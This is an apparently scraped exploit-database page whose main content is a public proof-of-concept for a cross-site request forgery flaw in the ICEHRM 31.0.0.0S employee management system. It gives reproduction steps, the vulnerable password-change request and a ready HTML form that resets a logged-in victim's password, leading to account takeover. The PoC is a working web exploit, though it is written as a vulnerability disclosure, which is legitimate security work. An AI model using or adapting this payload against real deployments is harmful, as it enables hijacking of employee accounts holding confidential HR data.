e55394b7d4
6 changes to exploits/shellcodes Sysax FTP Automation 6.9.0 - Privilege Escalation iRZ Mobile Router - CSRF to RCE Ivanti Endpoint Manager 4.6 - Remote Code Execution (RCE) ICT Protege GX/WX 2.08 - Stored Cross-Site Scripting (XSS) ICT Protege GX/WX 2.08 - Client-Side SHA1 Password Hash Disclosure ICEHRM 31.0.0.0S - Cross-site Request Forgery (CSRF) to Account Takeover
73 lines
No EOL
2.6 KiB
Text
73 lines
No EOL
2.6 KiB
Text
# Exploit Title: ICEHRM 31.0.0.0S - Cross-site Request Forgery (CSRF) to Account Takeover
|
|
# Date: 18/03/2022
|
|
# Exploit Author: Devansh Bordia
|
|
# Vendor Homepage: https://icehrm.com/
|
|
# Software Link: https://github.com/gamonoid/icehrm/releases/tag/v31.0.0.OS
|
|
# Version: 31.0.0.OS
|
|
#Tested on: Windows 10
|
|
|
|
1. About - ICEHRM
|
|
IceHrm employee management system allows companies to centralize confidential employee information and define access permissions to authorized personnel to ensure that employee information is both secure and accessible.
|
|
|
|
2. Description:
|
|
The application has an update password feature which has a CSRF vulnerability that allows an attacker to change the password of any arbitrary user leading to an account takeover.
|
|
|
|
3. Steps To Reproduce:
|
|
- Create an User name:Gaurav with permission of the Employee using the Admin User of the application and set his password.
|
|
- Now login into the application using his credentials and navigate to Update Password Feature to change the password.
|
|
- Intercept the request in Proxy and we can see there is a GET request used to change password and also NO CSRF Token is being used.
|
|
- Finally using Burpsuite create CSRF POC and save it as exploit.html.
|
|
- Now change the password in the POC to any password we want.
|
|
- Finally we open this POC in the same browser session and click on the submit button.
|
|
- At last when retrying to login into the application we can see that password has been reset for the account leading to account takeover.
|
|
|
|
4. Vulnerable Request:
|
|
|
|
GET
|
|
/app/service.php?t=Employee&a=ca&sa=changePassword&mod=modules=employees&req={"current":"Test@123
|
|
","pwd":"Dummy@123"} HTTP/1.1
|
|
Host: localhost:8070
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0)
|
|
Gecko/20100101 Firefox/98.0
|
|
Accept: application/json, text/plain, */*
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Connection: close
|
|
Referer:
|
|
http://localhost:8070/app/?g=modules&n=employees&m=module_Personal_Information
|
|
Cookie: PHPSESSID=k8d27ve456j0jb56ga885j1vvb
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-origin
|
|
|
|
5. Exploit POC (exploit.html)
|
|
|
|
<html>
|
|
|
|
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
|
|
|
<body>
|
|
|
|
<script>history.pushState('', '', '/')</script>
|
|
|
|
<form action="http://localhost:8070/app/service.php">
|
|
|
|
<input type="hidden" name="t" value="Employee" />
|
|
|
|
<input type="hidden" name="a" value="ca" />
|
|
|
|
<input type="hidden" name="sa" value="changePassword" />
|
|
|
|
<input type="hidden" name="mod" value="modules=employees" />
|
|
|
|
<input type="hidden" name="req"
|
|
value="{"current":"Test@123","pwd":"Dummy@123"}"
|
|
/>
|
|
|
|
<input type="submit" value="Submit request" />
|
|
|
|
</form>
|
|
|
|
</body>
|
|
|
|
</html> |